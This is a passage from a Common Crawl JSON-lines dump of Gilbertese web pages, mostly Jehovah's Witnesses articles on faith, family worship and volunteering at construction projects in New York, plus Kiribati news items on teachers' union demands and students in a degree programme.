taoatama, e na bon aki karaoaki ni mwengau. A ataia bwa e aki boraoi ma au koaua te taoatama n ikotaki naba ma kaain abau, ngaia are imwin te maroro ae a bwabwaki a karaoia n te tabo riki teuana.\n\"N au tai n rawawata aio, I tataro ni bubutiia Iehova te ibuobuoki bwa a na aki urui ana tua ara koraki. E bon ongo au tataro ao e buokira bwa ti na teimatoa n tei n nene n aki ongei aia kairoro.\" A bon aki kani bita aia iango Joseph ma natina ibukin aia taromauri.\nKo KONA N RINEIA Bwa Ko na bita am iango\nE aki maan imwin te Toa are te Riao n 32 C.E., e a kawaraki Iesu Kristo n te aono ae Titon iroun ainen Turoboinikia. E okioki neiei ni bubutiia Iesu bwa e na kanakoa te taimonio are ninia natina te aine. N te moantai, e aki kaekaa Iesu. E tuangia taan rimwina ni kangai: \"I aki kanakoaki nakoia aomata nako ma tii nakoia tiibu aika bua aika tibun Iteraera.\" Ngke e teimatoa ni bubutii neiei ao e taku Iesu: \"E aki riai anaakini kanaia ataei ao karenakoana nakoia kamea aika uarereke.\" E kaotiota ana onimaki ae rangi ni korakora neiei ngke e taku: \"Eng te Uea ma ni koauana, kamea aika uarereke a kaakang tamruru aika bwaka man aia taibora aia toka.\" E kaekaa Iesu ana bubutii neiei ao e katoka aorakin natina.\nMani karaoan anne, e boni kakairi Iesu iroun Iehova n arona ni kaotiota te nano ni kani bitaki ngkana e noraki riaina. N te katoto, e iangoia te Atua bwa e na kamaunaia tibun Iteraera ngke a karaoa te kao te teei ae te koora, ma E kariaia butiiana irouni Mote bwa e na manga rinanon Ana babaire.\nE kakairi te abotoro Bauro iroun Iehova ao Iesu. N te tai teuana, e iangoia Bauro bwa e aki tau ni kaira Ioane Mareko ni mwamwanangaia ni mitinare, ibukina bwa e a tia ngkoa ni kitana Bauro ma Barenaba ni moani mwanangaia. Ma imwina riki, e a ota raoi Bauro bwa e a tia Mareko ni bitii aroarona ao e kona n rangi ni bongana nakoina. Ngaia are e taku Bauro nakon Timoteo: \"Wetea Mareko ao airi ma ngaia, bwa e bongana irou n te mwakuri ni minita.\"\nMa tera arora iai? Ti bae n noria bwa ti riai ni bitii ara iango ngkana ti na kakairi n ana nanoanga, ana taotaonakinnano ao ana tangira Tamara are i karawa. N te katoto, ti kona ni bitii ara iango ibukia tabemwaang. Ti kaokoro ma Iehova ao Iesu bwa ti aki kororaoi. Ngkana a kukurei ni bitii aia iango, tiaki bwa ti riai n iaiangoi bukin rikini baika bubuaka nakoia tabemwaang ao tao ni bitii ara iango?\nE kona bitakin ara iango n riki bwa te rinerine ae raoiroi ngkana ti iaiangoi tiia n te onimaki. Iai tabeman ake a reirei n te Baibara ao a a tia naba n iririi bobotaki n te ekaretia n te tai ae uarereke, ake a a manga bitii aia iango bwa a na kabaenikaia bwabetitoaia. Ke iai tabeman taari ake a tabwarabwara ni bwaiania, e ngae naba ngkana e angaraoi karababaan nako aia mwakuri ni minita n te aro anne. Ao tabeman riki, a taara n aki kan ukoukori mwioko tabeua n te ekaretia. (1 Timoteo 3:1) Ko kona n ataia bwa e nga teuana mai buakoni kangaanga akanne ae riki? E kaoko Iehova ma te tangira bwa ko na rinanon aeka ni mwioko akanne. Ngaia are e aera bwa ko aki bita am iango ao n uataboa kakukurein te anga boni ngkoe nakon te Atua ao aomata nako?\nE taekina aron ana beku Ella n aia aobiti n tararua Ana Tia Kakoaua Iehova i Aberika ni kangai: \"Ngke I moan rin n te Betaera, I aki ataia bwa N na tiku ni maan iai ke N na aki. I kani beku ma nanou ni kabane nakon Iehova ma I namakinna naba ae I rangi n tangiriia au utu. N te moantai, I rangi n ururingia au utu! Ma I motinnanoia n tiku iai ngke e kaungaai neiere I buobuoka au ruu ma ngaia. Imwin tebwina te ririki n te Betaera, I a namakinna ae I kani beku n aron au konaa ibukia tariu ao mwaaneu, n aron teimatoau ni karaoi mwiokoau iai.\"\nKo RIAI ni Bita Am Iango\nKo uringa te bwai are riki nakoni Kain ngke e bakantang iroun tarina ao e kororake unna? E tuangaki iroun te Atua te mwaane ae moa noku aei bwa e kona n reke te akoaki nakoina tii ngkana e bitii aroarona nakon ae raoiroi. E anganaki te reirei ni kairiri Kain iroun te Atua bwa e riai n tokanikai i aon te buakaka are 'e titiku i rarikin te mataroa.' E kona Kain ni bitii aroarona ao ana iango ma e bon rineia bwa e na aki mutiakina ana reirei ni kairiri te Atua. E kananokawaki bwa e tiringa tarina Kain ao e a riki bwa te moan aomata n tiritiri!—Karikani Bwaai 4:2-8, BG.\nIangoa naba ana katoto te Uea ae Utia. N te moantai, e kakaraoa ae raoiroi i matan Iehova ao e teimatoa n ukoukora te Atua. Ma e kananokawaki bwa e kabuakakai rongorongona aika raraoi Utia ni bwainan te kainikatonga. E rin n te tembora bwa e na angakarea e ngae ngke bon tiaki te ibonga ngaia. E bita ana iango ngke a kauringnga ibonga ake tabeman bwa akea riaina ni karaoa arei? E bon aki. E \"un\" Utia ao e aki mutiakin aia taeka ni kauring. Ibukin anne, e a rebera bwa e oreia Iehova.\nEng, iai taai ake ti riai ni bitii iai ara iango. Aio te katoto n ara bong aikai. E bwabetitoaki Joachim n 1955, ma e kabaneaki man te ekaretia n 1978. E kaotiota te rairannano imwin 20 tabun te ririki ao e a manga kaokaki ao n riki bwa Ana Tia Kakoaua Iehova. N te tai aei, e titirakinaki iroun temanna unimwaanen te ekaretia bwa e aera ngke e rangi ni maan ao e a tibwa kororeta ibukini kaokana. E taku Joachim: \"I bon un ao ni kamoamoa naba. I uringaaba ngke I tataninga n te tai ae rangi ni maan. Ngke I kabaneaki, I bon ataia bwa a reiakina te koaua Ana Tia Kakoaua Iehova.\" E boni kainnanoa teuaei bitakin aroarona ao te rairannano.\nTi kona naba n rinanon te kangaanga teuana ae kainnanoa bitakin ara iango ao maiura. Ti bia kukurei ni karaoa anne bwa ti aonga ni kakukureia Iehova.—Taian Areru 34:8.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/w20141215\/bita-am-iango\/","date":"2018-02-21T09:41:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891813602.12\/warc\/CC-MAIN-20180221083833-20180221103833-00551.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1755,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by Online editor\nTe boto ni iango ni kauringan aia bong Taan Reirei n te aonnaba n te ririki aei e kangai n te taetae ni Imatang: \"Teaching in Freedom, Empowering Teachers\" are e rairaki ni kangai: \"Inaomatara n angareirei, Kakorakoraaia Taan Reirei\"\nAio te boto ni iango are e nanako man ana rabwata te aonnaba ake a tabe ma te reirei n aron aia botaki ni union Taan Reirei n te aonnaba ae e kinaaki n arana ae te Education International (EI) ao ana rabwata te botaki ni Botan Aomata are te UNESCO. E boto karioan te boto ni iango n te ririki teuana ma teuana man aron bwaai aika a riki n te aonnaba ni kaineti ma aroia taan reirei. N te tai aei ao a kauringiira rabwata aikai bwaai aika uoua bwa:\n- E riai n taobaraeaki tokobitoan inaomataia Taan Reirei n anga reirei.\n- E a tia n tokobitoaki inaomataia Taan Reirei n anga reirei.\nN taraan bwaai aika a riki i tinaniku ao bon i abara naba aio ao kanga e na eti riki are nambwa 2 are iai waaki aika a tia n riki ake a tokobitoa inaomatan te Tia Reirei n anga reirei n te aro are e a tiatianaki iai arona ni waakina ana anga reirei ao aio ngkanne are e aaki anganiia Taan Reirei te Kakorakoraaki. Ao ngkana aikoa kakorakoraaki man te waaki aio ao tera ngkanne ae e na riki nakoia ataei?\nTe anga reirei iaan ae e koonaki ba e kaetietaki man taubeakinaki (prescribed), e anaa te inaomata mairouia taan reirei n aron ae e riki n aaba i tinaniku ike e a kanakoaki tararuan waakin te reirei nakon kambwana ma bitineti ao ikai are e a kitana iai tabena te tautaeka. Ti tekeraoi i abara ikai ba e aki kanakoa aio te tautaeka ma a bon ewerake aaro ni boutoka te kanganga aei ma ti na riai ni kaunga te tautaeka ba e na anga baina nakoia reirei aikai i aan te koaua are ngaira ni kabane n rorora are ti mena iai bwa te pre-school, te moanrinan, te kaurinan ao te katenrinan, ti riai n roko n reirei aikai n akea totokoara bwa bon inaomatara (human right) ao e na karaoa nanon aio te tautaeka man karekean karekemwane man kaubwain abara bwa ti aonga n namakina inaomatara aio ba e tabenna are bon tabena.\nTuangakiia Taan Reirei ngkoa bwa a na motirawa kanga taan mmakuri bon ekinakon naba inaomattaia n anga reirei ao n aia mmakuri ae te Taan Reirei. E rabwa bwa e a eti aio. Mnag tuangakiia ngkai bwa a na tiku ni karoka tea o 3 ao e a manga biitaki nakon 4.15 ai bon manga ekinakona naba inaomataia bwa a manga katittabooaki naba ma taan mmakuri ake tabemaang. E bati te momoua ao te mairiri n te babaire are ti a manga kanaokoroira naba ma raora n Taan reirei n te Betebeke ao te aonnaba. Ti na aki kuba ngkanna e a manga okira naba arona ngkai bon babaire aika akea aaia.\nMan aia itera aia union Taan Reirei ao ti na ibuobuoki ni uataboa te boto ni iango ae anganaki Taan Reirei ao te aonaba n te ririki aei man karaoan buoka ni iango ma te Botaki n Reirei ni kaoti bwaai aika a a kuakua te inaomata n anga reirei ike aikoa kakorakoraaki iai Taan Reirei. Irarikin boutokaan te boto ni iango n te rirki aio ao e a tauraoi ana rabwata ni babaire aia union Taan Reirei (executive committee) n tabeki nakon aia Maungatabu Taan Reirei ibukin kabwataia are e na boo n te Kanimabong 12 n Tianuare 2018 kanoa ake a na tabekaki rinanon te Collective Bargaining Agreement nambwa 1(CBA 1) nakon te Botaki n Reirei ibukin rinanoaia ao karaoan nanoia. Kanoa aikai a na ibuobuoki ibukin katokan kanganga aika aki toki n aitara Taan reirei ma ngaai ao te kantaninga bwa man karaoan nanoia iroun te Botaki n Reirei ao e na namakinaki irouia Taan Reirei namakinan te anga reirei iaan te inaomata ao a na kakorakoraaki riki ni karaoa tabeia nakon te kabanea n tamaroa.\nTi a kan reitanako te maroro i aon waaki ake a na riki bwa kakorakoraakiia Taan Reirei. Aikai tabeua ao e na reitakinako te kakae i aona: reken baoia taan reirei i Tarawa n onea muin te tiketi nakon aia tabo n reirei ma ae e bon tangiraki riki reken aia auti ae kaan nakon aia tabo n reirei, n akean aia auti ao e na reke nakoia te auting arauenti, e na eutakirake booia Taan Reirei n te moanrinan nakon te karinan boo ae te Diploma are te boo ae e bainaki nakoia aika a otinako ngkai man KTC ao are e a riki naba bwa kataunarian booia ake n te kauarinan ao te katenrinan.\nE a tia ni waaki ami taibora ma katauraoan te beeba ae te Collective Bargaining Agreement (CBA) ike a oti iai bwaai aika aki toki n tatangitang iai Taan reirei. Aio te moani kanoa (CBA 1) are te kantaninga bwa man tian maroroakinana ma te MOE ao e a kabaeaki naba iai te MOE ao bwa e na mmakuri ana taan mmakuri ma kaetieti akanne n akea manga te birinako mai iai. E na katiaaki te kauoua ni mwakoro (CBA 2) bwa e na kabwataki te Rabwata ni Mmakuri are e na rinanon boooia Taan Reirei ao n anga te boo ae e boou are a na onoti iai Taan Reirei ni kaineti ma anuan aia mmakuri. A na katuruaki aroia ae a bon anganaki te kataneiai (initial training), te tutuoaki (continually assessed), te karakaaki (professional developments), te tutuoaki aia katauraoi (checking preparations – lesson plans, daily records, schemes etc) Aikai waaki aika a kaokoroia Taan Reirei ma Taan Mmakuri ake tabeman.\nE aki kona ni waaki ami union n ti man aia kakamwakuri kaain ami taibora. Kam riai ngkami Taan Reirei nako n ata baemi nakon ami union. Te moan bon karekean nanoia raomi akana a tuai kaaina ami union ba a na kaainna. Kam na ibuobuoki n aei ngkana kam katei ami botaki ni union n ami abwamwakoro nako (Island Associations), karekeai kaain ami taibora ao karekeai ami Taan Tei (Island Representatives) nakon te AGM ao man karekei araia ake a tuai kaainna ao man ribotinna nakon aobitin ami union. A riai ami IR akanne n tauraoi ni kaea te AGM ae e na waaki nakon te Kanimabong 12 n Tianuare 2018.\nN tian bwatin CBA 1 ao CBA 2, te kantaninga bwa e nang waakinako ami union ni katea ami Credit Union ibukin karekean ami kabirongorongo nakon taai aika a na roko. N tian teiraoin ami Credit Union ao e na manga taraaki ngkanne katean ami Health Scheme, katean te rabwata ni mwane are e na kabonganaaki n te tai are ko taonaki iai n te aoraki ao e aaki reke buokam i Nawerewere.\nTi na butia ara Tia Kammakuri ae te MOE bwa e na kataia n anga riki te Inaomata n anga reirei nakoimi bwa e aonga n rin angimi ao ngaira tin a kamarurungiiira n taua bbween te waaki man ara kakau iango mairouia ara kauatabo mai tinaniku aiika Education International (EI) ao Council of pacific Education (COPE)\nTi a riai ni waakirake ni kariki ara reirei bwa a na kabaebae ao man kaumaka ara tautaeka bwa e na eweki karikirake aika a teimatoa (sustainable development) bwa aonga n reke mwaanenakin ara reirei nako aika a kakabwanemwane ni ikotaki ma ake n aaro. Man aei ao a na waekoa ni mrarara nako kai n totoko nakon te reirei are te roo, te bao, bwaai n reirei ao ai te \"amwarake.\" N reken karikirake aika a teimatoa ao a na waekoa n reke kabwaia aika a teimatoa n aron tein reirei aika a tamwaroa ao reirei aika a na waekoa ni kaotii matan karikirake aika a teimatoa ibukin reken kabwaia aika a teimatoa. E mena kingin te kabwaia aika karikirake aika a teimatoa iroumi Taan Reirei irouia ataei n te reirei ngaia are tai taraa ae e na reke iroumi (income) ma taraa are e na otinako (outcome) bwa muin ami mmakuri.\nHappy World Teachers Day\nTanua Pine\nTia Koroboki ni Kabuta.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/kiribatiupdates.com.ki\/2017\/10\/25\/a-riai-taan-reirei-n-anganaki-te-inaomata-n-aia-waaki-n-anga-reirei\/","date":"2018-02-24T12:02:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891815560.92\/warc\/CC-MAIN-20180224112708-20180224132708-00042.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1356,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.392,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E mwiokoaki Ieremia bwa e na kauringia I-Iutaia taekan te kamaunanakoaki ae nang riki ibukina bwa a mwaninga taekan Atuaia ae Iehova. (Ier 13:25) E kangaa n rotakibuaka aia onimaki te natannaomata aei? A a tia utu aika tibun Iteraera ni mwaninga taekan Atuaia. Ni koauana, a a tia atun utu n aki ira nanon ana kaetieti Iehova n Te Tua-Kaua 6:5-7.\nA buoka kateimatoaan ara ekaretia ni boong aikai utu aika korakora n te onimaki. A kona atun utu ni buokiia aia utu bwa a na ururinga Iehova ni karaoan aia Taromauri n Utu ae katoatai ao n uaana. (TA 22:27) Imwini matakuakinan te taamnei ae \"A Riai ni Mena i Nanomi Taeka Aikai\"\nA kangaa utu tabeua n tokanikai i aoni kangaanga aika riiriki n te taromauri n utu?\nBaikara kakabwaia tabeua mani karaoan te Taromauri n Utu ae katoatai ao n uaana?\nBaikara au kangaanga ibukin te taromauri n utu ao tera arou n tokanikai iai?","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/maati-2017-mwb\/kaetieti-n-te-botaki-maa27-ebe2\/buokiia-am-utu-bwa-a-na-ururinga-Iehova\/","date":"2018-02-23T04:52:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814393.4\/warc\/CC-MAIN-20180223035527-20180223055527-00002.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":156,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.41,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by Online editor.\nAtaeinaine aikai; Nei Tenikobbuti Iannang ao Nei Tewata Anre ake a tokara aia kauoua n ririki n aia burokuraem ae te BAGCE; ngaia ake a taekina kakawakin te reirei bwa e kakawaki ae ataei ake a bane aia kauarinan a riai n tebona are imwina ni karekei moa aia beebwa imwain ae a rinanko nako nanon aobiti ni mwakuri.\nE taekinna Nei Tenikobuti Iannang nakon KU bwa rinnakoia n te In-Country bon man te raumea are e karaoaki nakoina ma tabeman riki man aia bwi n te Form7. Aio e karaoaki nakoia ataei ake a bwaati bwa a roonaki iai n aia reirei. E raonna n taekinna Nei Tewata bwa a kaain n reke man aia Form 7 n te reirei ae te WGMC ao n rin ni karaoa aia BAGCE n te maan ae aua ririkina.\nA taekinna naba ataeinaine aikai bwa n tokin te ririki aio ao ana manga keiakina riki are iaona te kabwaati nakon te OPEN scholarship. E kainanoaki te GPA ae 3, te IELTS results ae tamaroa ao ikanne are a kona naba n ira naba buakon te raumea.\nA kaokioka riki aia kauring ataeinaine aikai Tenikobuti ma Nei Tewata nakoia ataein te reirei riki ake a Form 7 bwa a riai moa ni karekea aia beebwa BA ke degree imwain ae a mwakuri. E noraki ngkai bwa angiia ataei a rin naba ni mwkauri ao man aki iangoa moa aia bebwa ae bubura ke taai aika a na roko. E kakawaki aio bwa nakon taai aika imwaira ao e na rangi ni manena reken beebwa aika a buubra aikai bwa kawaia ni kekerake inanon aia tabo ni mwakuri ao n aki titiku ni nneia are a moan waaki iai.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/kiribatiupdates.com.ki\/2017\/10\/18\/uoman-ataeinaine-man-te-in-country-program-ake-anga-aia-kaunganano\/","date":"2018-02-24T11:48:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891815560.92\/warc\/CC-MAIN-20180224112708-20180224132708-00082.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":285,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.375,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TABEUA te ririki n nako a mwengaraoi ni maeka Cesar ma buuna ae Nei Rocio i California. E mwakuri teuaei n te tabo are e tabe ma bwaai ni kaabue, bwaai ni kaukiang ao kamwaitoro ao e itera n tai Rocio n ana aobiti te taokita. Iai oin aia auti ma akea natiia. Ma e ngae n anne, iai te bwai ae riki are e bitii maiuia. Tera te bwai anne?\nN Okitobwa 2009, e kanakoaki te reta man te aobiti n tararua n te United States nakoia ekaretia nako n te aba anne. A kaoaki iai taan anganano aika mwaatai bwa a na kororeta ni bubutii ibukin te mwakuri n te Betaera, i nanon tabeua te tai ni buoka kabuburaan te aobiti n tararua i Wallkill i New York. A kaoaki naba bwa a na kororeta ni bubutii naake a raka aia ririki i aon are e taneiai te aba iai n te mwakuri n te Betaera. A taku Cesar ao Rocio: \"Ibukina bwa ti a boni kara, ti ataia ae ai bon tii aei ara tai i nanoni maiura ae ti na beku iai n te Betaera. Ti na bon aki katibanakoa ara tai aei ibukin te bwai teuana!\" A waekoa naba ngkekei ni karin aia beeba ni bubutii.\nE a raka i aon teuana te ririki ao a tuai mani kaoaki Cesar ma Rocio nakon te Betaera. Ma e ngae n anne, a karaoi mwaneka tabeua ibukin uaiakinan tiaia mani kabebeteani maiuia. E taku Cesar: \"Ti bita ara karaati nakon te ruu teuana bwa e aonga ni kona n tangoaki ara auti irouia tabeman. Imwina, ti a mwaing man ara auti are ti mimitaraia ae 2,200 te buti abwakina ao raababana are ti kateia tabeua te ririki n nako, ao ni maeka n ara ruu ae 270 te buti abwakina ao raababana. Ni karaoani bitaki aikai, titeboo ma e a bebete riki iroura butimwaean te kakao nakon te Betaera n aki ongei baika riki.\" Tera ae riki imwina? E taku Rocio: Teuana te namwakaina imwini mwaingira nakon ara ruu ae uarereke, ti a kaoaki bwa ti na anganano tabeua te tai ni mwakuri i Wallkill. E teretere nakoira bwa mani kabebeteani maiura, e a reke iai kakabwaiaara mairoun Iehova.\nE KAKABWAIAAKI AIA ANGANANO\nBubua ma bubua taari ake a anganano ibukin uataboan te kateitei ae waakinaki ngkai n Aonon New York n aron Cesar ao Rocio. A bati mai buakoia naakai aika a boutokaa kabuburaan Wallkill, ao a bati riki ake a mwiokoaki bwa a na buoka kateani kautun ara botaki n te aonnaba i Warwick. * A bati taanga ake a a tia ni kitani mwengaia aika kamwengaraoi, aia mwakuri aika bubura booia iai ao aia man bwa a aonga ni beku ni kabwanina aia tai ibukin Iehova. E a tia Iehova ni kakabwaiaa te aeka n anganano anne? E a bon tia!\nN te katoto, n te kaawa ae Kansas ao a kaboonakoa mwengaia ao angiin aia bwai Way ae te tia iti ao Debra ake e a kaania 60 aia ririki, ao ni mwaing nako Wallkill bwa a na beku n te Betaera ma a ririanna man aia tabo. * E ngae ngke e kainnanoaki karaoani bitaki ni maiuia, ma a namakinna bwa e rangi ni manena riki aia anganano. E taku Debra ni kaineti ma mwiokoana n te Betaera: \"N tabetai, I namakinna bwa kaanga I a uataboa teuana mai buakoni kateitei n te Bwaretaiti ake I nori n taamnein ara boki!\"\nA kaboonakoa mwengaia ma aia bwai Melvin ao Sharon i Carolina Maiaki bwa a aonga ni kona n ibuobuoki i Warwick. E ngae ngke e aki bebete karaoan anganano aikai, ma a namakinna te taanga aei bwa a kakabwaiaaki ngkai a a ira buakon te kateitei ae kakawaki anne. A taku: \"Bon te namakin ae moan te tamaroa te kimwareirei ae reke man ataakin ae ko a kakororaoa te bwai teuana ae e na kakabwaiaaki iai te botaki ni katobibia te aonnaba.\"\nA mwaing mai California Kenneth, ae te tia kateitei ae e a ritaea ao Maureen, ake ai 50 tabun aia ririki bwa a na mwakuri n te kateitei are i Warwick. A karaoi aia babaire ma te tari te aine n te ekaretia bwa e na tararuaa mwengaia ao a butiia kaain aia utu bwa a na buoka kawakinan tamani Ken are e a kara. A uringaaba ngkai a karaoi aia anganano bwa a na mwakuri n te Betaera? A aki! E taku Ken: \"Ti a rangi ni kakabwaiaaki. Akea te kangaanga iai? Bon iai, ma ti rangi ni kakabwaiaaki ni maiura, ao ti tataekina raoiroin te beku aei nakoia aomata nako ma nanora ni kabane.\"\nTE TOKANIKAI I AONI KANGAANGA\nA angiia naake a anga ngaiia bwa a na ibuobuoki a bon riai naba n tokanikai i aoni bwaai n tutuki. N te katoto, a maeka ma te kukurei i Pennsylvania William ao Sandra ake ai tibwa 60 aia ririki. Iai aia kambwana ae kakaraoi bwaini mitiin ao a mwakuri iai 17 aomata. A boni beku n te ekaretia are a mena iai mangke a uarereke, ao a maeka angiia aia koraki n te tabo anne. Ai ngaia are ngkana iai ae e kainnanoaki ibukin te ririanna ni mwakuri i Wallkill, a ataia iai bwa a nang kitani bwaai ni kabane ake a taneiai ma ngaai ao e kuri naba n ae aomata ni kabane ake a kinaia. E taku William: \"Akea te nanououa, bwa ti a tokanikai i aon te kangaanga ae te kabanea n rawawata.\" Ma e ngae n anne, imwini aia tataro ae bati te taanga aei, a motinnanoia bwa a na mwaing ae te mwaneka ae bon akea uringaabaia iai. E manga taku: \"Akea te bwai riki teuana ae kona ni kabotauaki ma te kimwareirei ae reke man te kaai ni beku ma kaain te utu ni Betaera. I a kukurei riki ma Sandra nakon are mai mwaina!\"\nE kaoaki Ricky, ae te manatia n te kateitei i Hawaii, bwa e na ririanna ni mwakuri n te Betaera ibukini buokan te kateitei i Warwick. E tangiria buuna ae Kendra bwa e na bon butimwaea te kakao. Ma iai tabeia ae riai ibukini kawakinan natiia te mwaane ae Jacob ae 11 ana ririki. A iangoia bwa e raoiroi ngkana e mwaing aia utu nakon Aonon New York ao tao e a kona n taneiai natiia ma te maiu n te tabo ae rangi ni kaokoro.\nE taku Ricky: \"Teuana mai buakoni baika a moanibwai, boni ukeran te ekaretia aika iai ataei aika a marurung ni bwaai n taamnei. Ti tangiria bwa a na bati raoraon Jacob aika raoiroi.\" Ma a noria bwa e karako ataein te ekaretia are a mena iai ma a bati kaain te utu ni Betaera. E taku Ricky: \"Imwin ara moani botaki, I titirakina Jacob ana namakin ibukin te ekaretia ae boou aei, ai moarara riki ngkai akea ataei aika ana roro. E taku: 'Tai raraoma Bwabwa. A na riki rooro n rikirake n te Betaera bwa raoraou.'\"\nNi koauana, a bon iraorao rooro n rikirake n te Betaera ma Jacob. Tera mwina? E taku Ricky: \"N te tairiki teuana, I rirarikin ana ruu natiu ao I noria bwa e teimatoa n ura ana taura, I kantaningaia bwa N na ooia n takaakaro n te kaombiuta, ma e bon aki bwa e wareware n te Baibara! Ngke I titirakinna bwa tera are e karaoia, e kaeka ni kangai: 'I a riki bwa aongkoa te roro n rikirake ngai n te Betaera, ao N na wareka te Baibara ni kabane i nanon teuana te ririki.'\" A rangi ni kukurei Ricky ao Kendra, tiaki tii ibukina bwa e kona Ricky n uataboa te kateitei i Warwick, ma ibukina naba bwa e a boutokaaki rikiraken ana onimaki natiia mani mwaingia.—Taeka N Rabakau 22:6.\nAKEA TABEAIANGAN TE IANGO IBUKIN TAAI AIKA A NA ROKO\nN tokina, e na bon tabwanin raoi te mwakuri ni kateitei i Wallkill ao Warwick, ai ngaia are a ataia naake a kaoaki ibukin te ibuobuoki iai bwa a na beku n te Betaera i nanon tabeua te tai. A rangi n raraoma taari aikai bwa a na nakea ke tera ae a nang karaoia? A bon aki! A bati aika titeboo aia iango ma taanga aika ai 50 tabun aia ririki mai Florida. E taku John, are te manatia n te kateitei ma buuna ae Carmen, ake a mwakuri n anganano i nanon tabeua te tai i Warwick: \"Ti a tia n nora aron Iehova n tararuai baika ti rangi ni kainnanoi ni karokoa ngkai. Ti iangoia bwa e bon aki karokoira ikai Iehova n te tai aei ao ni manga kitanira rimwi riki.\" (Taian Areru 119:116) A mwakuri naba i Wallkill Luis are e kakaraoi bwaai n tiriai ma buuna ae Quenia. A taku: \"Ti a kaman nora bain Iehova ae tituaraoi ni katauraoani baika ti kainnanoi ibukini maiura. E ngae ngke ti aki ataia bwa n te aro raa, n ningai ao n te tabo raa, ma ti kakoauaa raoi bwa e na teimatoa n tararuaira.\"—Taian Areru 34:10; 37:25.\n'NURAKINAN TE KAKABWAIA NI KAROKOA AKI REKENI NNENA'\nA kona angiia ake a ibuobuoki n te kateitei i New York, ni karekei angaia are a na aki anganano iai ibukin te mwakuri. Ma e ngae n anne, a kataa Iehova n aron ae e kaoira ni kabane ni kangai: \"Kam na kataai, . . . ba tao N na kauki mataroan nako karawa nako imi, ma n nurakina kakabaiami, ni karokoa aki-rekeni nena.\"—Maraki 3:10, BG.\nKo kani kataa naba Iehova ao ni karekei kakabwaia aika rangi ni bati? Tataroakinna ao tutuoa te bwai ae ko kona ni karaoia ibukin uataboan te mwakuri ae kakukurei ae tabe ni karaoaki tao i New York, ke ni kateitei riki tabeua ibukin ana botaki ao n nora aron Iehova ni kakabwaiako.—Mareko 10:29, 30.\nA kaai n rangi ni kamoamoaa raoiroin te aeka ni beku aei Dale, ae te intinia ao Cathy mai Alabama. A taekina ae kangai ngke a anganano ni mwakuri i Wallkill: \"Ngkana ko ninikoria ni kitana am tabo ae ko mwengaraoi iai, e na bon reke am tai n nora mwamwakurin taamnein Iehova.\" Ao tera ae kainnanoaki bwa ko aonga n tauraoi n ibuobuoki iai? E taku Dale: \"Kabebetea, kabebetea ao imwina kabebetea riki maium. Ko na bon aki uringaaba!\" E a bon tia ni mwakuri Gary are mai North Carolina, i nanon 30 te ririki ni kairan te kateitei. E taekinna teuaei ma buuna ae Maureen bwa teuana mai buakoni kakabwaia ae reke irouia i Warwick, boni \"kaitibooia ao mwakuria ma taari aika bati ake a raraoi aroaroia ake a a tia ni kabanei maiuia ni beku ibukin Iehova n te Betaera.\" E reitia Gary ni kangai: \"Ngkana ko na beku n te Betaera, ko riai ni kabebetea maium, ae te aroaro ae te kabanea n tamaroa n te waaki ae ngkai.\" E taekinna Jason are e mwakuri n te kambwana ibukin te iti ao Jennifer mai Illinois bwa te kateitei n te Betaera i Wallkill, bon \"te bwai ae moan te irekereke ma te maiu n te waaki ae boou i aon te aba ae ko kona n rinanona.\" E reitia ni kangai Jennifer: \"Ko rangi n rotaki n namakinan ae e kukurei Iehova ni bwaai nako aika ko karaoi ao ni kabanea iai korakoram bwa ko aonga ni kakabwaiaaki n taai aika a na roko. Bon akea tokini kakawakia i matan Iehova. E taraia raoi bwa e na karikirakeko n te aro ae riao.\"","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/w20150115\/anga-ngaiia-i-new-york\/","date":"2018-02-19T08:57:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812556.20\/warc\/CC-MAIN-20180219072328-20180219092328-00500.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1895,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.443,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tera Reireiara Man te Baibara?\nE karaoaki te boki n reirei n te Baibara aei bwa e na 